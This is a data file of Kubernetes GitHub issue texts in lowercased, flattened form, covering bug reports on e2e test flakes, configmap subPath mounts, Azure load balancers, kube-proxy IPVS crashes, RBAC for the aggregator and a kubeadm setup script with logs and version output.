builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke | 17 |  3 aug 2017 03:54 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke/12589  | | ci-kubernetes-e2e-gke-canary | 13 |  3 aug 2017 03:33 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-canary/395  | | ci-kubernetes-e2e-gci-gke | 10 |  3 aug 2017 03:30 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke/12934  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | jszczepkowski |  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io   serial   slow  replicationcontroller should scale from 1 pod to 3 pods and from 3 to 5 and verify decision stability;  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io   serial   slow  deployment should scale from 1 pod to 3 pods and from 3 to 5;  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io   serial   slow  replicaset should scale from 1 pod to 3 pods and from 3 to 5 | | sig/autoscaling |  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io   serial   slow  replicationcontroller should scale from 1 pod to 3 pods and from 3 to 5 and verify decision stability;  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io   serial   slow  deployment should scale from 1 pod to 3 pods and from 3 to 5;  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io   serial   slow  replicaset should scale from 1 pod to 3 pods and from 3 to 5 |  </details><br>   current status  https://go.k8s.io/triage b75045e2cb613e12dca1

https://storage.googleapis.com/k8s-gubernator/triage/index.html?text=sample-api\r \r seen in https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/51034/pull-kubernetes-e2e-gce-etcd3/50311:\r \r aug 26 09:35:45.074: couldn't delete ns: \ e2e-tests-containers-9cscj\ : an error on the server  \ missing route  service \\\ sample-api\\\  not found \   has prevented the request from succeeding  get flunders.wardle.k8s.io   &errors.statuserror{errstatus:v1.status{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, listmeta:v1.listmeta{selflink:\ \ , resourceversion:\ \ }, status:\ failure\ , message:\ an error on the server  \\\ missing route  service \\\\\\\ sample-api\\\\\\\  not found \\\   has prevented the request from succeeding  get flunders.wardle.k8s.io \ , reason:\ internalerror\ , details:  v1.statusdetails  0xc4217a4900 , code:500}}

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r when vmss enabled, azure lb not removed after all loadbalancer services deleted.\r \r   what you expected to happen  :\r \r azure lb should be removed after all loadbalancer services deleted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - deploy a cluster on azure with vmtype=vmss\r - create a loadbalancer service and remove after got public ip.\r - check lb on azure portal\r \r   anything else we need to know?  :\r \r put vmss and set  loadbalancerbackendaddresspools=    on resources.azure.com works, while not work with go sdk.\r \r upgrade to latest release of go sdk, a workaround is invoking put twice. but the root cause is still unkown.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r

we should not keep tests permanently in the flaky suite. @dashpole is there any reason why the eviction tests are still considered flaky? if not, could we move them out of the flaky suite?\r \r /assign @dashpole \r since you have the most context.

 \r   fix status:  \r -  x  merged in master in https://github.com/kubernetes/kubernetes/pull/61080, will be in 1.10.0-rc.1\r -  x  merged in release-1.9 branch in https://github.com/kubernetes/kubernetes/pull/61107, in  v1.9.5  https://github.com/kubernetes/kubernetes/releases/tag/v1.9.5 \r -  x  merged in release-1.8 branch in https://github.com/kubernetes/kubernetes/pull/61108, in  v1.8.10  https://github.com/kubernetes/kubernetes/releases/tag/v1.8.10 \r -  x  merged in release-1.7 branch in https://github.com/kubernetes/kubernetes/pull/61109, in  v1.7.15  https://github.com/kubernetes/kubernetes/releases/tag/v1.7.15 \r \r   what happened  :\r upgraded from v1.9.2 to v1.9.4. i began to bring up the cluster  still messing with different strategies on upgrade  and noticed that every pod that would mount a configmap via subpath would throw a similar error to the one below:\r \r    \r mar 12 22:30:27 node02 kubelet 1124 : e0312 22:30:27.537327    1124 kubelet_pods.go:248  failed to prepare subpath for volumemount \ config\  of container \ mumble\ : subpath \ /var/lib/kubelet/pods/66fa673c-266d-11e8-8ebf-00155d00a406/volumes/kubernetes.io~configmap/config/..2018_03_13_03_19_55.572152209/mumble.ini\  not within volume path \ /var/lib/kubelet/pods/66fa673c-266d-11e8-8ebf-00155d00a406/volumes/kubernetes.io~configmap/config\ \r mar 12 22:30:27 node02 kubelet 1124 : e0312 22:30:27.537452    1124 kuberuntime_manager.go:734  container start failed: createcontainerconfigerror: failed to prepare subpath for volumemount \ config\  of container \ mumble\ \r mar 12 22:30:27 node02 kubelet 1124 : e0312 22:30:27.537548    1124 pod_workers.go:186  error syncing pod 66fa673c-266d-11e8-8ebf-00155d00a406  \ mumble-74798bc4c-xjwrn_default 66fa673c-266d-11e8-8ebf-00155d00a406 \  , skipping: failed to \ startcontainer\  for \ mumble\  with createcontainerconfigerror: \ failed to prepare subpath for volumemount \\\ config\\\  of container \\\ mumble\\\ \ \r    \r \r   what you expected to happen  :\r to mount the configmap.\r \r _existing behavior:_ \r https://stackoverflow.com/questions/48561338/how-to-correctly-mount-configmap-with-subpath-in-kubernetes-not-update-configs\r https://stackoverflow.com/questions/44325048/kubernetes-configmap-only-one-file\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    yaml\r kind: configmap\r apiversion: v1\r metadata:\r   name: mumble-config\r data:\r   mumble.ini: |\r       murmur configuration file.\r    \r \r    yaml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: mumble\r   labels:\r     app: mumble\r spec:\r   template:\r     metadata:\r       labels:\r         app: mumble\r     spec:\r       containers:\r       - image: custom-image\r         name: mumble\r         volumemounts:\r         - name: config\r           mountpath: /data/mumble.ini\r           subpath: mumble.ini\r       volumes:\r       - name: config\r         configmap:\r           name: mumble-config\r    \r \r   anything else we need to know?  :\r \r looking further into it it looks like a possible regression caused by  60813?\r \r https://github.com/kubernetes/kubernetes/pull/61045/files diff-16665fc8caff20aa7d63896dc4e3dd7fr295\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.4\ , gitcommit:\ bee2d1505c4fe820744d26d41ecd3fdd4a3d6546\ , gittreestate:\ clean\ , builddate:\ 2018-03-12t16:29:47z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r self-hosted - 3 vm's - 1 master, two nodes.\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r linux master 4.4.0-116-generic  140-ubuntu smp mon feb 12 21:23:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:\r

@kubernetes/k8s-sig-onprem-bugs \r @kubernetes/k8s-sig-onprem-api-reviews \r @kubernetes/k8s-sig-onprem-feature-requests \r @kubernetes/k8s-sig-onprem-misc \r @kubernetes/k8s-sig-onprem-pr-reviews \r   pods status after certificate change. how to overcome this?\r \r  mdupaguntla@iacap067 k8s_ha_setup_post_rpm_installation_with_rbac $ sudo kubectl logs fluentd-es-v2.0.2-svflp\r 2018-03-23 07:28:41 +0000  error : config error file=\ /etc/fluent/fluent.conf\  error=\ invalid kubernetes api v1 endpoint https://10.250.0.1:443/api: unauthorized\ \r \r  mdupaguntla@iacap067 k8s_ha_setup_post_rpm_installation_with_rbac $ sudo kubectl logs elasticsearch-logging-0\r + export node_name=elasticsearch-logging-0\r + node_name=elasticsearch-logging-0\r + export node_master=true\r + node_master=true\r + export node_data=true\r + node_data=true\r + export http_port=9200\r + http_port=9200\r + export transport_port=9300\r + transport_port=9300\r + export minimum_master_nodes=2\r + minimum_master_nodes=2\r + chown -r elasticsearch:elasticsearch /data\r + ./bin/elasticsearch_logging_discovery\r f0323 07:28:30.015493       8 elasticsearch_logging_discovery.go:78  kube-system namespace doesn't exist: unauthorized\r goroutine 1  running :\r k8s.io/kubernetes/vendor/github.com/golang/glog.stacks 0xc420222800, 0xc42018a000, 0x77, 0x85 \r         /go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:766 +0xcf\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .output 0x1a38100, 0xc400000003, 0xc4200ae2c0, 0x1994cf4, 0x22, 0x4e, 0x0 \r         /go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:717 +0x322\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .printf 0x1a38100, 0x3, 0x121acfe, 0x1e, 0xc4206bdf50, 0x2, 0x2 \r         /go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:655 +0x14c\r k8s.io/kubernetes/vendor/github.com/golang/glog.fatalf 0x121acfe, 0x1e, 0xc4206bdf50, 0x2, 0x2 \r         /go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:1145 +0x67\r main.main  \r         /go/src/k8s.io/kubernetes/cluster/addons/fluentd-elasticsearch/es-image/elasticsearch_logging_discovery.go:78 +0xbef

is this a bug report or feature request?  :\r  \r   what happened  :\r \r i installed a brand new, single node cluster on a new vm  hetzner .  \r i followed the guide from official k8s page using kubeadm. \r \r     \r echo \ install docker 17.3\ \r apt-get update\r apt-get install -y apt-transport-https ca-certificates curl software-properties-common\r curl -fssl https://download.docker.com/linux/ubuntu/gpg | apt-key add -\r \r cat <<eof >/etc/apt/sources.list.d/docker-ce.list\r deb https://download.docker.com/linux/debian stretch stable\r eof\r \r apt-get update && apt-get install -y docker-ce=$ apt-cache madison docker-ce | grep 17.03 | head -1 | awk '{print $3 }' \r \r echo \ install kubeadm\ \r apt-get update && apt-get install -y apt-transport-https curl\r curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -\r cat <<eof >/etc/apt/sources.list.d/kubernetes.list\r deb http://apt.kubernetes.io/ kubernetes-xenial main\r eof\r apt-get update\r apt-get install -y kubelet kubeadm kubectl\r \r export docker_config=\ /etc/docker/daemon.json\ \r \r echo \ configuring docker\ \r \r echo \ writing config $docker_config\ \r cat <<eof >$docker_config\r {\r   \ registry-mirrors\ :   \ https://docker-registry.gr8pi.org\ , \ https://docker-private.gr8pi.org\   ,\r   \ storage-driver\ : \ overlay2\ ,\r   \ log-driver\ : \ json-file\ ,\r   \ log-opts\ : {\r     \ max-size\ : \ 10m\ ,\r     \ max-file\ : \ 10\ \r   }\r }\r eof\r \r systemctl restart docker.service\r \r echo \ initialize kuernetes admin\ \r kubeadm init --pod-network-cidr=10.244.0.0/16\r \r echo \ allow pods on master\ \r kubectl taint nodes --all node-role.kubernetes.io/master-\r \r echo \ install cni plugin\ \r sysctl net.bridge.bridge-nf-call-iptables=1\r kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/v0.10.0/documentation/kube-flannel.yml\r \r     \r \r \r  1  https://kubernetes.io/docs/setup/independent/create-cluster-kubeadm/ instructions\r \r   what you expected to happen  :\r \r system load when idle should be minimal. cpu should be normal when idle ~ 0.0x . \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r use a debian stretch 9 on hetzner cloud infrastructure.\r run the above shell commands. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r     \r ubectl version \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:10:24z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r     \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r     \r  cat /etc/os-release \r pretty_name=\ debian gnu/linux 9  stretch \ \r name=\ debian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=debian\r home_url=\ https://www.debian.org/\ \r support_url=\ https://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r     \r - kernel  e.g.  uname -a  : linux k8s-staging 4.9.0-6-amd64  1 smp debian 4.9.88-1+deb9u1  2018-05-07  x86_64 gnu/linux\r - install tools:\r - others:\r

 \r   what happened  :\r installed k8s 1.11.2 cluster with kubespray, and selected ipvs instead of iptables as proxy mode. results in crash loops for all kube-proxy containers:\r \r kube-proxy-k8s-api01                       1/1       running            72         6h\r kube-proxy-k8s-api02                       1/1       running            72         6h\r kube-proxy-k8s-node01                      0/1       crashloopbackoff   74         6h\r kube-proxy-k8s-node02                      0/1       crashloopbackoff   71         6h\r \r output of logs of proxies:\r \r e0811 03:56:46.572470       1 ipset.go:156  failed to make sure ip set: &{{kube-load-balancer-source-ip hash:ip,port,ip inet 1024 65536 0-65535 kubernetes service load balancer ip + port + source ip for packet filter purpose} map   0xc4209237b0} exist, error: error creating ipset kube-load-balancer-source-ip, error: exit status 1\r e0811 03:56:51.709465       1 ipset.go:156  failed to make sure ip set: &{{kube-load-balancer-source-ip hash:ip,port,ip inet 1024 65536 0-65535 kubernetes service load balancer ip + port + source ip for packet filter purpose} map   0xc4209237b0} exist, error: error creating ipset kube-load-balancer-source-ip, error: exit status 1\r e0811 03:56:56.772034       1 ipset.go:156  failed to make sure ip set: &{{kube-load-balancer-source-cidr hash:ip,port,net inet 1024 65536 0-65535 kubernetes service load balancer ip + port + source cidr for packet filter purpose} map   0xc4209237b0} exist, error: error creating ipset kube-load-balancer-source-cidr, error: exit status 1\r e0811 03:57:01.913755       1 ipset.go:156  failed to make sure ip set: &{{kube-external-ip hash:ip,port inet 1024 65536 0-65535 kubernetes service external ip + port for masquerade and filter purpose} map   0xc4209237b0} exist, error: error creating ipset kube-external-ip, error: exit status 1\r e0811 03:57:06.971781       1 ipset.go:156  failed to make sure ip set: &{{kube-loop-back hash:ip,port,ip inet 1024 65536 0-65535 kubernetes endpoints dst ip:port, source ip for solving hairpin purpose} map   0xc4209237b0} exist, error: error creating ipset kube-loop-back, error: exit status 1\r e0811 03:57:12.072673       1 ipset.go:156  failed to make sure ip set: &{{kube-loop-back hash:ip,port,ip inet 1024 65536 0-65535 kubernetes endpoints dst ip:port, source ip for solving hairpin purpose} map   0xc4209237b0} exist, error: error creating ipset kube-loop-back, error: exit status 1\r e0811 03:57:17.277255       1 ipset.go:156  failed to make sure ip set: &{{kube-node-port-local-udp bitmap:port inet 1024 65536 0-65535 kubernetes nodeport udp port with externaltrafficpolicy=local} map   0xc4209237b0} exist, error: error creating ipset kube-node-port-local-udp, error: exit status 1\r e0811 03:57:22.372453       1 ipset.go:156  failed to make sure ip set: &{{kube-node-port-local-tcp bitmap:port inet 1024 65536 0-65535 kubernetes nodeport tcp port with externaltrafficpolicy=local} map   0xc4209237b0} exist, error: error creating ipset kube-node-port-local-tcp, error: exit status 1\r e0811 03:57:27.475447       1 ipset.go:156  failed to make sure ip set: &{{kube-external-ip hash:ip,port inet 1024 65536 0-65535 kubernetes service external ip + port for masquerade and filter purpose} map   0xc4209237b0} exist, error: error creating ipset kube-external-ip, error: exit status 1\r \r   what you expected to happen  :\r \r stable kube-proxy containers.\r \r kube-proxy-k8s-api01                       1/1       running            0         6h\r kube-proxy-k8s-api02                       1/1       running            0         6h\r kube-proxy-k8s-node01                      1/1       running   0         6h\r kube-proxy-k8s-node02                      1/1       running   0         6h\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r install kubernetes 1.11.x with kube_proxy_mode: ipvs\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.2\r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release : coreos stable  1800.6.0 \r - kernel  e.g.  uname -a  : linux k8s-acc-api02 4.14.59-coreos-r2  1 smp sat aug 4 02:49:25 utc 2018 x86_64 intel r  xeon r  cpu e5-2630l 0 @ 2.00ghz genuineintel gnu/linux\r \r - install tools: kubespray\r - others: probably doesn't matter, but using 3 separate etcd nodes.\r

is this a bug report or feature request?  :\r bug report\r \r  \r   what happened  :\r on 1.10.6-gke.1, the version of fluentd-gcp is wrong. fluentd-gcp-scaler keeps showing the logs: error from server  notfound : daemonsets.extensions \ fluentd-gcp-v3.0.0\  not found.\r but the version of fluentd-gcp in my k8s is v3.1.0.\r \r   what you expected to happen  :\r fluentd-gcp-scaler should use fluentd-gcp-v3.1.0.\r \r   how to reproduce it  as minimally and precisely as possible   :\r use gke 1.10.6-gke.1.

the cadvisor port, which exposed the raw cadvisor ui & api was removed in kubernetes 1.12.\r \r now, we should also begin the deprecation process for the kueblet api endpoints that are backed by the cadvisor api. these are legacy endpoints, that expose undocumented apis that don't conform to kubernetes api standards. they no longer have any internal usage, as we moved core components to the summary api, and soon to the core metrics api. the cadvisor apis also tie us to cadvisor internally, which we would eventually like to move to an implementation detail.\r \r the endpoints i propose deprecating, and eventually removing are:\r -  /spec \r -  /stats/   _except_  /stats/summary \r -  /metrics/cadvisor \r \r /milestone v1.15\r /assign @tallclair @dashpole \r  /

hi guys, i'm trying to make it work from 1.3.0 we are now on 1.3.3  i tried as well  and no way to mount my ebs volume in k8s after attached it.  i discovered that from federation-up.sh script to make federation working and i finally isolated my problem to the fact that when i need to use an ebs volume k8s succeed to attach it to the correct node but never mount it  i guess anyway my ebs is not formatted to any format on that point...   here we can see it's attached :        ip-192-168-38-205 core   lsblk   name    maj:min   rm  size ro type mountpoint  xvda    202:0      0    8g  0 disk   |-xvda1 202:1      0  128m  0 part /boot  |-xvda2 202:2      0    2m  0 part   |-xvda3 202:3      0    1g  0 part /usr  |-xvda4 202:4      0    1g  0 part   |-xvda6 202:6      0  128m  0 part /usr/share/oem  |-xvda7 202:7      0   64m  0 part    -xvda9 202:9      0  5.7g  0 part /  xvdb    202:16     0   40g  0 disk /var/lib/docker  xvdc    202:32     0   40g  0 disk /var/lib/kubelet  xvdba   202:13312  0   10g  0 disk       here we can see it's not mounted :       ip-192-168-38-205 core   mount | grep xvdba ip-192-168-38-205 core         so kublet can't find the volume mounted :       mount: special device /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/eu-west-1c/vol-23b811d6 does not exist      my version is there :       >> kubectl version client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.3\ , gitcommit:\ c6411395e09da356c608896d3d9725acab821418\ , gittreestate:\ clean\ , builddate:\ 2016-07-22t20:29:38z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.3\ , gitcommit:\ c6411395e09da356c608896d3d9725acab821418\ , gittreestate:\ clean\ , builddate:\ 2016-07-22t20:22:25z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }      many thanks for your help guys !

this is a tracking issue for implementing the revert of the items discussed here:\r \r https://github.com/kubernetes/kubernetes/issues/38322 issuecomment-272075161\r \r @dchen1107 @smarterclayton @vishh @davidopp @liggitt

currently no history information is stored in federated deployment so no rollout rollback is possible.\r \r cc: @nikhiljindal

lately we introduced a bug that editing externaltrafficpolicy doesn't trigger loadbalancer update. all our esipp e2e tests didn't catch it. specifically, in test _\ should handle updates to externaltrafficpolicy field\ _ we flip externaltrafficpolicy between local and global and verify kube-proxy takes action, but the servicecontroller part is omitted.\r \r this bug is being fixed by  46258. i don't have enough bandwidth to update the e2e test for now. filing this issue for tracking.\r \r  /assign

working through ha upgrade scenarios from 1.7 -> 1.8, i found several situations the current apiservice auto-register controller does not handle well:\r \r health vs liveness:\r   problem: the apiserver health check that waits until local apiservices are registered and available should not go unhealthy if those apiservices are later removed.\r   solution: make the health check a no-op once it has completed successfully once\r \r crd flutter:\r   problem: the auto-register controller should not start managing apiservice objects until it has completed its initial listing of registered crd objects and determined the apiservice objects it expects to exist.\r   solution: wait to start the autoregister controller until the crd controller has completed an initial sync of the initial list of crd objects.\r \r controller dueling:\r   problems:\r       if an api server registers apiservices for additional api groups on start, an already-running api server's controller will delete those apiservices.\r       if an api server removes apiservices for api groups no longer served, an already-running api server's controller will re-add those apiservices.\r   solution: expand the controller's automanaged/not-automanaged options to add an \ auto-managed on start\  option - the controller would sync services with this option exactly once. that allows it to establish services at start, but not duel with api servers started later. in an ha api server setup, that would mean the last api server to start would determine the configured local api services.\r \r the current behavior of the controller:\r \r |                                | desired: not found          |  desired: sync always       |\r |--------------------------------------|--------------------|--------------------|\r |    current: error                                 | error              | error              |\r |    current: not found                             | noop                | create             |\r |    current: no sync                               | noop                | noop                |\r |    current: sync always                           | delete             | update             |\r \r \r the behavior of the controller, adding a \ sync on start\  option  with the differences in behavior bolded :\r \r |                               | desired: not found          |  desired: sync on start     |  desired: sync always       |\r |--------------------------------------|--------------------|--------------------|--------------------|\r |    current: error                                 | error              | error              | error              |\r |    current: not found                             | noop                |   create once   | create             |\r |    current: no sync                               | noop                | noop                | noop                |\r |    current: sync on start, present at start       |   delete once   |   update once   |   update once   |\r |    current: sync on start, not present at start   |   noop                  |   noop                  |   noop                  |\r |    current: sync always                           | delete             |   update once   | update             |\r \r cc @deads2k @kubernetes/sig-api-machinery-bugs

\r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r kubectl cluster-info displays proxy urls for cluster services\r \r if those services are using https, the referenced urls do not work  they try to proxy using http \r \r   what you expected to happen  :\r services with a port name of https or 443 should use the ‘https:<name>:<port>‘ form\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /assign\r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r     problem\r in some e2e tests,  framework.addcleanupaction    is used:\r https://github.com/kubernetes/kubernetes/blob/1a4a019e5f84637f125589288edca46a974c1486/test/e2e/apimachinery/webhook.go l50-l52\r \r these cleanup actions are expected to be called when tests are terminated, by calling  framework.runcleanupactions    in test/e2e/e2e.go. the problem is that, in test/e2e/e2e.go, duplicated add/remove/run cleanup actions codes are implemented, and the  runcleanupactions    in test/e2e is wrongly used:\r https://github.com/kubernetes/kubernetes/blob/1a4a019e5f84637f125589288edca46a974c1486/test/e2e/e2e.go l294-l301\r \r this caused the aformentioned clean up actions added in e2e tests not being called.\r \r     solution\r in test/e2e/e2e.go, we should remove the duplicate \ cleanup action\  code, and use the clean up code in test/e2e/framework instead.\r \r however, e2e tests won't pass after this is fixed. it's because some e2e tests added clean up functions  functions added in framework.addcleanupaction     that don't work. for example, in test/e2e/apimachinery/webhook.go,  cleanwebhooktest f   uses  f  framework.framework  as input, whereas  f  already becomes  nil  by the time clean up actions are called. this can be solved by storing required variables in  beforeeach :\r \r https://github.com/kubernetes/kubernetes/blob/1a4a019e5f84637f125589288edca46a974c1486/test/e2e/apps/deployment.go l67-l70\r \r @kubernetes/sig-testing-bugs

the service catalog api server looks at the existing rbac rules  in the core k8s api server  to decide whether a client can access a nonresourceurl, such as  /swagger.json . as i understand it, other api servers will use the same technique. \r \r the problem is that there is no  nonresourceurls:  \ /swagger.json\    in the  system:kube-aggregator  clusterrole. additionally, there's no clusterrolebinding for the kube-aggregator in the default bootstrap policy. this prevents the aggregator from getting the openapi schema from the aggregated api server.\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r the aggregator log shows the following:\r    \r nov 22 15:09:10 minikube localkube 3220 : e1122 15:09:10.691211    3220 controller.go:111  loading openapi spec for \ v1beta1.servicecatalog.k8s.io\  failed with: failed to retrieve openapi spec, http error: responsecode: 403, body: {\ kind\ :\ status\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ forbidden: user \\\ system:aggregator\\\  cannot get path \\\ /swagger.json\\\ \ ,\ reason\ :\ forbidden\ ,\ details\ :{},\ code\ :403}\r    \r \r   what you expected to happen  :\r the aggregator should be able to access the openapi schema of the underlying api servers.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. deploy service catalog api server patched with https://github.com/kubernetes-incubator/service-catalog/pull/1208\r 2. examine the log of the aggregator\r \r   anything else we need to know?  :\r i can fix this myself; i'd just like to confirm that adding the nonresourceurl and the missing clusterrolebinding for the aggregator is ok or not.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.8556+d1e067be1f3065-dirty\ , gitcommit:\ d1e067be1f30654867769ae9dd9aaa2e30513c21\ , gittreestate:\ dirty\ , builddate:\ 2017-11-15t21:38:13z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ , gittreestate:\ dirty\ , builddate:\ 2017-10-17t15:09:55z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r minikube version: v0.23.0\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i'm running into a k8s.io/kubernetes/pkg/kubelet/cm/devicemanager test failure during \ make test\ . to get more output and to avoid issue  59425 , i am using:\r    \r home=/tmp/home make goflags='-v -exec \ strace -f -e trace=connect,bind,unlinkat\ ' test \r ...\r === run   testdevicepluginreregistration\r  pid 29568  unlinkat at_fdcwd, \ /tmp/device_plugin/server.sock\ , 0  = 0\r  pid 29568  bind 11, {sa_family=af_unix, sun_path=\ /tmp/device_plugin/server.sock\ }, 33  = 0\r  pid 29568  unlinkat at_fdcwd, \ /tmp/device_plugin/device-plugin.sock\ , 0  = -1 enoent  no such file or directory \r  pid 29568  unlinkat at_fdcwd, \ /tmp/device_plugin/device-plugin.sock\ , at_removedir  = -1 enoent  no such file or directory \r  pid 29568  bind 12, {sa_family=af_unix, sun_path=\ /tmp/device_plugin/device-plugin.sock\ }, 40  = 0\r  pid 29568  connect 13, {sa_family=af_unix, sun_path=\ /tmp/device_plugin/device-plugin.sock\ }, 40  = 0\r 2018/02/07 14:34:39 starting to serve on /tmp/device_plugin/device-plugin.sock\r  pid 29568  connect 14, {sa_family=af_unix, sun_path=\ /tmp/device_plugin/server.sock\ }, 33  = 0\r  pid 29568  unlinkat at_fdcwd, \ /tmp/device_plugin/server.sock\ , 0  = 0\r  pid 29568  unlinkat at_fdcwd, \ /tmp/device_plugin/device-plugin.sock\ , 0  = 0\r  pid 29568  --- sigpipe {si_signo=sigpipe, si_code=si_user, si_pid=29568, si_uid=1000} ---\r  pid 29568  connect 6, {sa_family=af_unix, sun_path=\ /tmp/device_plugin/device-plugin.sock\ }, 40  = -1 enoent  no such file or directory \r e0207 14:34:39.961321   29568 endpoint.go:117  listandwatch ended unexpectedly for device plugin mock with error rpc error: code = unavailable desc = transport is closing\r strace: process 29623 attached\r  pid 29574  connect 3, {sa_family=af_unix, sun_path=\ /tmp/device_plugin/device-plugin.sock\ }, 40  = -1 enoent  no such file or directory \r  pid 29623  connect 3, {sa_family=af_unix, sun_path=\ /tmp/device_plugin/device-plugin.sock\ }, 40  = -1 enoent  no such file or directory \r  pid 29574  connect 3, {sa_family=af_unix, sun_path=\ /tmp/device_plugin/device-plugin.sock\ }, 40  = -1 enoent  no such file or directory \r e0207 14:34:49.961324   29568 endpoint.go:60  can't create new endpoint with path /tmp/device_plugin/device-plugin.sock err failed to dial device plugin: context deadline exceeded\r e0207 14:34:49.961390   29568 manager.go:340  failed to dial device plugin with request &registerrequest{version:v1alpha2,endpoint:device-plugin.sock,resourcename:fake-domain/resource,}: failed to dial device plugin: context deadline exceeded\r panic: test timed out after 2m0s\r \r goroutine 116  running :\r testing.startalarm.func1  \r \t/usr/lib/go-1.9/src/testing/testing.go:1145 +0xf9\r created by time.gofunc\r \t/usr/lib/go-1.9/src/time/sleep.go:170 +0x44\r \r goroutine 1  chan receive :\r testing.  t .run 0xc4201c40f0, 0x137221d, 0x1e, 0x13e0118, 0x481901 \r \t/usr/lib/go-1.9/src/testing/testing.go:790 +0x2fc\r testing.runtests.func1 0xc4201c40f0 \r \t/usr/lib/go-1.9/src/testing/testing.go:1004 +0x64\r testing.trunner 0xc4201c40f0, 0xc4204fbde0 \r 